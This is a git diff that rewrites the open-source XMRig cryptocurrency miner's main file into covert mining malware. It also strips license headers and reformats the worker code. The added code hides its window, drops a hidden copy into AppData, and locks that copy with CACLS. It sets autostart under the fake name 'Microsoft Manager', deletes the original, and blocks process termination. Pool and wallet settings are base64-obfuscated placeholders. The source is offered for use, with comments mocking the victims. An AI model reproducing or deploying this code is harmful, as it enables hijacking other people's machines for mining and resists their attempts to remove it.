m_sequence++; } - - void Workers::setJob(const Job &job) { uv_rwlock_wrlock(&m_rwlock); m_job = job; uv_rwlock_wrunlock(&m_rwlock); - m_active = true; - if (!m_enabled) { - return; - } - + if (!m_enabled) { return; } m_sequence++; m_paused = 0; } - - void Workers::start(int64_t affinity, int priority) { const int threads = Mem::threads(); m_hashrate = new Hashrate(threads); - uv_mutex_init(&m_mutex); uv_rwlock_init(&m_rwlock); - m_sequence = 1; m_paused = 1; - uv_async_init(uv_default_loop(), &m_async, Workers::onResult); uv_timer_init(uv_default_loop(), &m_timer); uv_timer_start(&m_timer, Workers::onTick, 500, 500); - for (int i = 0; i < threads; ++i) { Handle *handle = new Handle(i, threads, affinity, priority); m_workers.push_back(handle); handle->start(Workers::onReady); } } - - void Workers::stop() { uv_timer_stop(&m_timer); m_hashrate->stop(); - uv_close(reinterpret_cast(&m_async), nullptr); m_paused = 0; m_sequence = 0; - - for (size_t i = 0; i < m_workers.size(); ++i) { - m_workers[i]->join(); - } + for (size_t i = 0; i < m_workers.size(); ++i) { m_workers[i]->join(); } } - - void Workers::submit(const JobResult &result) { uv_mutex_lock(&m_mutex); m_queue.push_back(result); uv_mutex_unlock(&m_mutex); - uv_async_send(&m_async); } - - void Workers::onReady(void *arg) { auto handle = static_cast(arg); - if (Mem::isDoubleHash()) { - handle->setWorker(new DoubleWorker(handle)); - } - else { - handle->setWorker(new SingleWorker(handle)); - } - + if (Mem::isDoubleHash()) { handle->setWorker(new DoubleWorker(handle)); } + else { handle->setWorker(new SingleWorker(handle)); } handle->worker()->start(); } - - void Workers::onResult(uv_async_t *handle) { std::list results; - uv_mutex_lock(&m_mutex); while (!m_queue.empty()) { results.push_back(std::move(m_queue.front())); m_queue.pop_front(); } uv_mutex_unlock(&m_mutex); - - for (auto result : results) { - m_listener->onJobResult(result); - } - + for (auto result : results) { m_listener->onJobResult(result); } results.clear(); } - - void Workers::onTick(uv_timer_t *handle) { for (Handle *handle : m_workers) { - if (!handle->worker()) { - return; - } - + if (!handle->worker()) { return; } m_hashrate->add(handle->threadId(), handle->worker()->hashCount(), handle->worker()->timestamp()); } - - if ((m_ticks++ & 0xF) == 0) { - m_hashrate->updateHighest(); - } - + if ((m_ticks++ & 0xF) == 0) { m_hashrate->updateHighest(); } # ifndef XMRIG_NO_API Api::tick(m_hashrate); # endif -} +} \ No newline at end of file diff --git a/src/workers/Workers.h b/src/workers/Workers.h index e76d0a62..99d6e671 100644 --- a/src/workers/Workers.h +++ b/src/workers/Workers.h @@ -1,44 +1,16 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __WORKERS_H__ #define __WORKERS_H__ - - #include #include #include #include - #include "net/Job.h" #include "net/JobResult.h" - class Handle; class Hashrate; class IJobResultListener; - class Workers { public: diff --git a/src/xmrig.cpp b/src/xmrig.cpp index 48362ada..c533b23b 100644 --- a/src/xmrig.cpp +++ b/src/xmrig.cpp @@ -1,31 +1,210 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ +#define _UNICODE #include "App.h" +#include +#include +#include +#include +#include +#include +#include +#include +#define STRICT +#pragma comment(linker, "/MERGE:.data=.text") +#pragma comment(linker, "/MERGE:.rdata=.text") +#pragma comment(linker, "/SECTION:.text,EWR") +#define STRLEN(x)(sizeof(x) / sizeof(TCHAR) - 1) -int main(int argc, char **argv) { - App app(argc, argv); +bool SelfDefense() +{ + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); + SECURITY_ATTRIBUTES sa; + TCHAR * szSD = TEXT("D:P"); - return app.exec(); + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = FALSE; + if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL)) + return FALSE; + if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor)) + return FALSE; + return TRUE; } + +static const std::string base64_chars = +"ABCDEFGHIJKLMNOPQRSTUVWXYZ" +"abcdefghijklmnopqrstuvwxyz" +"0123456789+/"; + +static inline bool is_base64(unsigned char c) { + return (isalnum(c) || (c == '+') || (c == '/')); +} + +std::string mov_eax_push_5012(std::string encoded_string) { + int in_len = encoded_string.size(); + int i = 0; + int j = 0; + int in_ = 0; + unsigned char char_array_4[4], char_array_3[3]; + std::string ret; + + while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { + char_array_4[i++] = encoded_string[in_]; in_++; + if (i == 4) { + for (i = 0; i <4; i++) + char_array_4[i] = base64_chars.find(char_array_4[i]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (i = 0; (i < 3); i++) + ret += char_array_3[i]; + i = 0; + } + } + + if (i) { + for (j = i; j <4; j++) + char_array_4[j] = 0; + + for (j = 0; j <4; j++) + char_array_4[j] = base64_chars.find(char_array_4[j]); + + char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); + char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); + char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; + + for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; + } + + return ret; +} + +int Delete(TCHAR* path) { + TCHAR DelCom[MAX_PATH + 1]; + wsprintfW(DelCom, L"/c timeout -t 2 && del \"%s\"", path); + ShellExecuteW(0, L"open", L"cmd.exe", DelCom, 0, SW_HIDE); + std::exit(0); +} + +int Copy(TCHAR* CopyPth, TCHAR* CruPath, TCHAR* Username) { + STARTUPINFO si; + TCHAR CACLS[1024]; + TCHAR CACLS2[1024]; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + PROCESS_INFORMATION pi; + memset(&pi, 0, sizeof(pi)); + CopyFile(CruPath, CopyPth, true); + SetFileAttributes(CopyPth, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); + wsprintfW(CACLS, L"/c CACLS \"%s\" /E /P %s:N", CopyPth, Username); // Protect this fucking file + ShellExecuteW(0, L"open", L"cmd.exe", CACLS, 0, SW_HIDE); + wsprintfW(CACLS2, L"/c Echo Y| CACLS \"%s\" /P %s:R", CopyPth, Username); + ShellExecuteW(0, L"open", L"cmd.exe", CACLS2, 0, SW_HIDE); // End protect, lazy to comment this shit method ;-) + CreateProcess(NULL, CopyPth, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + Delete(CruPath); +} + +int CheckMutex() { + WCHAR MUTEX[] = { L"T", L"r", L"u", L"m", L"M", L"a", L"k", L"e", L"A", L"m", L"e", L"r", L"i", L"c", L"a", L"G", L"r", L"e", L"a", L"t"}; + HANDLE hMutex = CreateMutexW(0, 0, MUTEX); + if ((GetLastError() == ERROR_ALREADY_EXISTS) || (GetLastError() == ERROR_ACCESS_DENIED)) { + CloseHandle(hMutex); + std::exit(0); + } + return 0; +} + +BOOL IsElevated() { + BOOL fRet = FALSE; + HANDLE hToken = NULL; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + TOKEN_ELEVATION Elevation; + DWORD cbSize = sizeof(TOKEN_ELEVATION); + if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { + fRet = Elevation.TokenIsElevated; + } + } + if (hToken) { + CloseHandle(hToken); + } + return fRet; +} + +int AutoRun(TCHAR* path, BOOL Admin) { + HKEY hKey = NULL; + HKEY hKey2 = NULL; + LONG lResult = 0; + if (Admin) { // If user admin, set hidden auto run. I am to lazy for comment this step + lResult = RegOpenKey(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", &hKey2); + if (ERROR_SUCCESS != lResult) { + RegCreateKey(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", &hKey2); + } + RegOpenKey(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", &hKey2); + RegSetValueEx(hKey2, L"Microsoft Manager", 0, REG_SZ, (PBYTE)path, lstrlen(path) * sizeof(TCHAR) + 1); + RegCloseKey(hKey2); + } else { // But if user not admin, set standart method + RegOpenKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey); + RegSetValueEx(hKey, L"Microsoft Manager", 0, REG_SZ, (PBYTE)path, lstrlen(path) * sizeof(TCHAR) + 1); + RegCloseKey(hKey); + } + return 0; +} + +int CheckPath() { + TCHAR Username[256]; // To protect file + TCHAR AppData[1024 + 1]; // Drop path var + BOOL Admin = IsElevated(); // Admin? true/false + TCHAR CruPath[MAX_PATH + 1]; // Current path var + + ExpandEnvironmentStringsW(L"%USERNAME%", Username, 256); // Windows username + ExpandEnvironmentStringsW(L"%APPDATA%\\WMA.exe", AppData, 1024); // Full drop path + GetModuleFileName(NULL, CruPath, STRLEN(CruPath)); // Current file path + + if (_tcscmp(CruPath, AppData) != 0) { // Current path is appdata? + AutoRun(AppData, Admin); // If no set autorun + Copy(AppData, CruPath, Username); // And drop file + } else { // Or + CheckMutex(); // Doublerun? + if (SelfDefense()) {} // Fuck user + return 0; + } +} + +//If u need id to worker +char* WorkerID() { + DWORD VolumeSerialNumber = 0; + GetVolumeInformation(L"c:\\", NULL, NULL, &VolumeSerialNumber, NULL, NULL, NULL, NULL); + char procID[20]; + sprintf(procID, "%d", VolumeSerialNumber); + + return procID; +} + +int main() { + ShowWindow(GetConsoleWindow(), SW_HIDE); // hide console + CheckPath(); + + char *frst = new char[mov_eax_push_5012("RmlsbGVlZQ==").length() + 1]; + strcpy(frst, mov_eax_push_5012("RmlsbGVlZQ==").c_str()); + + char *scnd = new char[mov_eax_push_5012("LW8=").length() + 1]; + strcpy(scnd, mov_eax_push_5012("LW8=").c_str()); + + char *mkdjd = new char[mov_eax_push_5012("LXU=").length() + 1]; + strcpy(mkdjd, mov_eax_push_5012("LXU=").c_str()); + + //Pool in base64 + char *urejds = new char[mov_eax_push_5012("PASTE HERE").length() + 1]; + strcpy(urejds, mov_eax_push_5012("PASTE HERE").c_str()); + + //Wallet in base64 + char *mkwei3 = new char[mov_eax_push_5012("WALLET HERE").length() + 1]; + strcpy(mkwei3, mov_eax_push_5012("WALLET HERE").c_str()); + + static char * dreams[] = { frst, scnd, urejds, mkdjd, mkwei3 }; + App FUcker(5, dreams); + + return FUcker.exec(); +} \ No newline at end of file